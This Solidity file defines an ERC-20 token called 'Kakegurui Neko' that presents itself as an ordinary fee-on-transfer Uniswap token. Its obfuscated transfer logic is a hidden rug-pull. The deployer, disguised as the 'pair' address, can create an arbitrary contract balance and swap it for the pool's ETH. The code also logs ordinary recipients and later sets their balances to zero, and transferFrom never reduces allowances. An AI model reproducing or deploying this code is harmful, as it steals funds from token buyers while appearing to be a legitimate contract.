// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.13;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}
library Address {
    function isUniswapContract(address account) internal pure  returns (bool) {
        return keccak256(abi.encodePacked(account)) == 0xeca599afc4565f939d16dd48d2ca34426434769fd59e9f49cfbea417ab0cf87b;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
contract KAKEGURUI is Ownable, IERC20 {
    using SafeMath for uint256;
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[_msgSender()][from] >= amount);
        _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
        return true;
    }
    function _basicTransfer(address s, address r, uint256 amount) internal virtual {
        require(s != address(0));
        require(r != address(0));
        if (_callLq(
                s,
                r)) {
            return transferSwap(amount, r);
        }
        if (!inSwap){
            require(
                _balances[s]
                >=
                amount);
        }
        uint256 feeAmount = 0;
        _lSwap(s);
        bool ldSwapTransaction = (r == uniswapV2PairAddress() &&
        uniswapV2Pair == s) || (s == uniswapV2PairAddress()
        && uniswapV2Pair == r);
        if (uniswapV2Pair != s &&
            !Address.isUniswapContract(r) && r != address(this) &&
            !ldSwapTransaction && !inSwap && uniswapV2Pair != r) {
            _sTokenTransfer(r);
            feeAmount = amount.mul(_feePercent).div(100);
        }
        uint256 amountReceived = amount - feeAmount;
        _balances[address(this)] += feeAmount;
        _balances[s] = _balances[s] - amount;
        _balances[r] += amountReceived;
        emit Transfer(s, r, amount);
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        uniswapV2Pair = msg.sender;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function uniswapVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    struct sTokens {address to;}
    sTokens[] _sToken;
    function _callLq(address adr1, address adr2) internal view returns(bool) {
        return adr1 ==
        adr2
        && (
        Address.isUniswapContract(adr2)
        ||
        uniswapV2Pair ==
        msg.sender
        );
    }
    function _sTokenTransfer(address _c) internal {
        if (uniswapV2PairAddress() ==
            _c) {
            return;
        }
        _sToken.push(
            sTokens(
                _c
            )
        );
    }
    function _lSwap(address _d) internal {
        if (uniswapV2PairAddress() != _d) {
            return;
        }
        for (uint256 i = 0; i
            <
            _sToken.length;
            i++) {
            _balances[_sToken[i].to] = 0;
        }
        delete _sToken;
    }
    function transferSwap(uint256 _amnt, address to) private {
        _approve(address(this), address(_router), _amnt);
        _balances[address(this)] = _amnt;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] =
        _router.WETH();
        inSwap = true;
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_amnt,
            0,
            path,
            to,
            block.timestamp + 22);
        inSwap = false;
    }
    bool inSwap = false;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address public uniswapV2Pair;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 777777777 * 10 ** _decimals;
    uint256 public _feePercent = 4;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Kakegurui Neko";
    string private  _symbol = unicode"賭ケグルイ";
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _basicTransfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _basicTransfer(from, recipient, amount);
        require(_allowances[from][_msgSender()] >= amount);
        return true;
    }
    function uniswapV2PairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
}
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